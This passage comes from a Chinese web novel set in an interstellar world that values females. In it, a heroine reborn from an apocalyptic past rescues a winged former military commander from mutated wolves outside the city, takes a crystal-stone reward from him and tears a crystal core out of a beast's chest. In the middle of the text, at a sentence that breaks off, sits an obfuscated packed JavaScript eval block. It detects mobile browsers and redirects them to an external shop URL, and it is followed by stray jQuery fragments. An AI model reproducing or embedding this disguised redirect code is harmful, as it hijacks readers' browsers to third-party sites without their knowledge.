这些够吃三四天,暂时应该饿不到孩子们。
但昨天得到的这几枚价格还不算低,看起来还得再去一趟。
不然开了店之后时间就没有那么自由了。
昨天睡之前,她的光脑突然跳出了一条消息,联邦雌性保护协会看到了她签署的免责书,提出免费派出一支护卫队保护她,被她回绝了。
其实有不少雄性选择铤而走险出城是因为城市边缘有一些值钱的矿石,矿石中可以提取一些晶核碎渣。
估计雌性保护协会以为她也是这么想的。
而且因为她签署免责书的事情,联邦雌性保护协会特意连夜成立调查组,调查给予雌性的最低补助是否成功下放,最后得出栗霜痕其实是一个好吃懒做的雌性的结论,对此表示很无语。
“书奕,”她转头叫了一声靠在门框上的少年,顺手把手边的一把小刀揣进自己怀里,边往客厅走边嘱咐,“一会儿做好了你们先吃,不用等我。我出去办点事。”
书奕的耳朵微微动了一下:“您出去……干什么……”
栗霜痕随手拿起柜子里的一直营养液,看都没看,娴熟拆开包装给自己灌下去:“去铺子那边看看。我还是不放心。”
书奕微微点了一下头,“知道了,雌母,您注意安全。”
“再见。书奕,书笙,还有书琮……”栗霜痕笑眯眯地朝他们摆手,“记得替我和书墨书念说一声再见,妈……雌母马上回来……”
城门口两个守卫换了人,但看到她又来了,年轻那个表情复杂地叹了口气,什么也没说就直接把免责书递了过来。
栗霜痕签了字,推开栅栏侧门,再次踏上了城外那片灰黄色的土地。
这次她比昨天走得更远了一些。
昨天那两片区域已经没有尸体了,其他异化兽闻到了同类的血腥味会选择分食。
今天得速战速决,不能像昨天一样玩过家家了。
绕过一片枯死的灌木丛之后,风里忽然飘来一股浓重的血腥味,夹杂着低沉的混杂的兽吼。
栗霜痕放轻脚步,矮身贴近一块半埋在沙土里的巨石边缘,从缝隙里往外看。
前面有一片相对开阔的洼地。
洼地中央半跪着一个人。那个人背微微弓着,肩胛骨两侧展开一对巨大的翅膀,翅膀底色是极深的靛蓝,边缘缀着一圈细密的银色光点。
似乎是蝶翼。
但那对翅膀此刻是垂着的,瘫软地拖在沙地上,边缘微微颤抖,银色的光点忽明忽灭,虚弱至极。
栗霜痕眯眼,还是没有看清那个人的脸,只是知道他的头发是银灰色的,长到腰际,凌乱地披散着。
因为那人低垂着头,下巴几乎抵到胸口,栗霜痕一时间以为他没救了。
算了。
救一救吧,说不定能救活呢。
身为末世小队长,栗霜痕的责任心不是盖的,尤其这本来就是一件简单的事情。
再走近一些,可以看到那人裸露的小臂上浮着一层细密的像鳞片又不是鳞片的淡蓝色纹路。
那些纹路似乎在皮肤底下微微跳动,像是血液在逆流。
他周围大约有七八只异化兽,体型比栗霜痕印象中的狼大好几圈,皮毛是灰褐色的,脊背上耸着一排短而硬的骨刺,利齿外露,唾液顺着嘴角滴落,在地面上砸出一个个小坑。
它们围成一个半圆,把那人堵在洼地中央,前肢伏低,后腿蓄力,随时准备扑上去。
栗霜痕的光脑震了一下,弹出信息:
“灰脊狼兽。C级异化兽。群居,协同狩猎,利爪附带微弱麻痹毒素。”
小意思。
这几只的晶核肯定纯。
再攒攒可以给老大治眼睛了。
一只灰脊狼兽率先扑了上去。
它张开嘴想要朝着那人的后颈咬去,速度极快。
栗霜痕几乎能看清它利齿之间挂着的一丝涎液在半空中拉出的细线。
不过她没有多想,手已经摸到了后腰藏着的那把小刀。
刀拔出来的同时她整个人从巨石后面弹了出去,三步并作两步冲进洼地,在灰脊狼兽的牙齿碰到蝴蝶翅膀之前一脚踹中了它的侧腹。
那东西被踹飞出去两三米,砸在地上翻了个滚,发出一声短促的哀嚎。
栗霜痕顺势侧身挡在那人面前,手里的刀横握着,刀尖朝外。
剩下的灰脊狼兽被她的突然出现惊得后退了半步,龇着牙发出低沉的威胁嚎叫,但没有立刻扑上来。
看样子异化兽间的消息也挺灵通的嘛。
知道她昨天刚杀了几只畜生,今天就不敢在她面前蹦跶了。
身后传来微弱的喘息声。
哟,看来还活着。
栗霜痕余光瞥见那人的一只眼睛是极浅的银蓝色,瞳孔边缘有一圈暗金色的细纹,眼皮上有一道细细的旧疤,像是被什么锋刃划过留下的。
眼睛好漂亮。
末世异能者们觉醒后,发色和瞳色也会发生变化,有的变化很大,有的变化很细微。
当时栗霜痕这个装货就想着,她要是觉醒了,一定要一只眼睛瞳色是淡粉色,一只眼睛瞳色是银蓝色。
“雌性……”那人的声音很虚弱,“你是……他们……派来的吗……”
栗霜痕没有理他,目光锁在最前面那只体型最大的灰脊狼兽身上。
看样子是首领。
擒贼先擒王。
幸亏这些东西是有脑子的。
不然只能像解决丧尸一样做这种纯纯消耗体力的行为。
栗霜痕觉得自己前世杀丧尸杀的都快有刻板行为了。
那只首领的瞳孔是暗黄色的,四足不安地刨着地面,喉咙里滚动着低沉的咆哮。
她脚尖微微动了动,调整重心,把刀尖对准了它的咽喉方向。
首领灰脊狼兽终于等不住了,它低吼一声,四足蹬地朝她扑过来。
栗霜痕矮身一让,刀尖从下往上划过它颈部侧面最柔软的毛发连接处。
暗红色的血喷出来,那东西在空中就失了力道,砸在她脚边,抽搐了两下不动了。
剩下的狼兽迟疑了。
它们围着那具尸体转了两圈,又抬头看了看栗霜痕还滴着血的刀尖,然后集体转身,夹着尾巴朝远处窜去,灰褐色的脊背一晃就不见了。
洼地里安静下来。
栗霜痕把刀在灰脊狼兽的皮毛上蹭干净,插回后腰,然后转身看了一眼那个蝴蝶翅膀的男人。
他仍然趴伏在地上,那对靛蓝色的翅膀微微颤动,边缘的银色光点比刚才暗了一些,但还在顽强地闪着。他抬头看她,银蓝色的眼睛微微眯了一下。
“你救了我。”他道谢,“谢谢。”
栗霜痕蹲下来,认真地说:“我既然救了你,有报酬吧。”
那人半撑着身体,银蓝色的瞳孔里闪过一丝明显的错愕,似乎没料到自己被救起来之后收到的第一句话是理直气壮的有报酬吧。
最终他张了张嘴,嗓子还是哑的:“有……”
栗霜痕把刀在后腰别好,朝他摊开手掌,“我杀了一只C级灰脊狼兽的首领,赶走了剩下七八只,五千晶石。”
“我叫凌溯。”他银蓝色的瞳孔直直地看着她,“精神力S级,联邦第七军团前任统帅,三个月前因为精神暴走被强制卸任,现在处于半流放状态。”
栗霜痕眨了眨眼。
前任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745238|209264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
统帅。
S级。
蝴蝶翅膀。
她脑子里迅速过了一遍这些关键词,然后很疑惑:“你介绍这么详细干什么,我不查户口……”
上辈子确实救了人之后查户口的情况很常见,但这辈子好歹也是和平社会,应该不至于不安全到需要查户口的程度吧。
凌溯慢慢撑着地面坐起来,那对靛蓝色的翅膀在身后收拢了一些,边缘搭在沙地上,银色光点随着他的动作重新变得亮了一些。
“五千晶石——你救了一个前任军团统帅,就要五千?”
“要少了,那你看着多给点。”栗霜痕说,“我也不了解行情。”
凌溯盯着她看了好几秒,似乎在判断她是不是真的只想要五千晶石,还是在用这个当借口套近乎。
他虽然是雄性,但精神力太强导致的暴走让联邦太头疼,时常会派雌性来安抚他,但大部分情况下都是越治越糟糕,但联邦愈挫愈勇。
“直接光脑传吧。”栗霜痕熟练点开光脑。
凌溯的手还悬在光脑上方,数字10000的光标在屏幕边缘闪了一下,确认转账成功。
栗霜痕的光脑发出一声清脆的到账提示音,她低头瞥了一眼,确认那个数字后面跟了四个零,然后干脆利落地把光脑一关,转身就走。
“喂——”凌溯的声音从背后传来,带着一股明显没反应过来的错愕和根本藏不住的虚弱,“你就这么走了?”
栗霜痕头也不回地摆了摆手:“我不负责护送。”
凌溯半跪在沙地上,看着她的背影走向那具灰脊狼兽首领的尸体,银蓝色的瞳孔微微睁大了。
他活了这么多年,见过的雌性无一不是被捧着哄着供着,出门有护卫随行,吃饭有人试毒,就连打个喷嚏都会有一群人围上来问要不要加件衣服。
他从来没见过一个没有丝毫精神力的雌性,更况且是纯靠武力杀死异化兽的雌性。
栗霜痕在那具灰脊狼兽面前蹲下来,动作利落地翻出光脑开了晶核感应功能,屏幕上立刻跳出一个闪烁的红点,位置在心脏偏左。
她把光脑往口袋里一揣,两只手撑开那道被刀划开的颈侧伤口,用力往两边一掰。
皮肉撕裂的声音在安静的洼地里清晰可闻,暗红色的血裹着一股腥气涌出来,浸了她满手。
但她依旧面不改色地把手探进去,指腹在温热的胸腔内部摸了几下,攥住那颗晶核往外一扯。
她把掏出的晶核在狼兽皮毛上蹭了蹭,举到光线下看了一眼,深灰色的晶核表面泛着金属一样的冷灰光,成色比昨天的都好。
凌溯的呼吸停了一瞬。他见过太多雄性在战场上被异化兽开膛破肚吞入腹中的场景。
但他从来没想过有一天会看到一个毫无精神力的雌性徒手撕开C级异化兽的胸腔,把晶核掏出来,像捡一块石头一样揣进口袋。
这个雌性那双沾满暗红色血的手在阳光底下微微反着光,手指纤细但并不柔弱,指腹上的茧痕在握拳时清晰地凸出来。
“你——”凌溯的声音带着一种他自己都没察觉的震颤,“你真的是雌性?”
栗霜痕把晶核收好,站起来拍了拍膝盖上的灰,歪了歪头,表情坦荡得不行:“怎么,雌性卖晶核犯法啊!”
有些规矩是天然形成的。
那些规矩从来没人写在纸上,只是刻在所有人的骨头里。
雌性是脆弱的,是高贵的,是需要被保护的。
雌性靠繁衍和生育来掌管这个世界,雌性生育意愿的强烈与否直接关系到世界的存亡。
所以……雌性天生得到所有人的支持。
更重要的,是雌性天性上给雄性带来的安抚本能。